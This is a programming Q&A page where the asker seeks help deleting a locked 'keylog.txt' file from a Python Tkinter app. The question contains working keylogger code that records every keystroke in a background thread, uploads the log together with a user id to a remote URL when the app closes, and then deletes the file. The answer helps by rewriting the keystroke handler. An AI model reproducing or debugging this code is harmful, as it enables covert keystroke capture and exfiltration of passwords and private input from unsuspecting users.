Search code examples
pythonpython-multithreading

The process cannot access the file because it is being used by another process: 'keylog.txt'


I'm trying to build a Python Tkinter App

In which i'm using threading

What i want to achieve - When i'm running the thread for a keylogger code Code Below & the data is being stored in Keyloge.txt & when the user exit the app I'm trying to delete this keylog file. But the issue is that when i'm trying to delete the keylog.txt it can't be deleted because it's being used by the thread in the process

So is there any way i can delete the keylog.txt file???

Threading code

ther = threading.Thread(target=threading12)
ther.daemon = True
stop_threads.start()

Keylogger Code

log = logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

def on_press(key):
    logging.info(str(key))

def threading12():
    with Listener(on_press=on_press) as listener:
    listener.join()

When Someone exit the app

def on_closing12():
if messagebox.askokcancel("Quit", "Do you want to quit?"):
    date = dt1.today().strftime('%Y-%m-%d')
    if os.path.isfile("keylog.txt"):
        myobj = {'userid': row2,'date': date}
        url = 'https://example.com/getkey'
        with open('keylog.txt', 'rb') as im:
            files = {'file': im}
            r = requests.post(url, files=files, data=myobj)      #sending file to example.com            
        time.sleep(0.4)
        os.remove('keylog.txt')   #<----- removing the file
    time.sleep(0.6)
    root.destroy()
    os._exit(1)


 root.protocol("WM_DELETE_WINDOW", on_closing12)

Solution

  • Try open/close the file for every log line?

    KeyLogger

    import time
    
    def on_press(key):
        with open('keylog.txt', 'a') as logfile:
            now = time.asctime()
            log_line = '{} - {}\n'.format(now, str(key))
            logfile.write(log_line)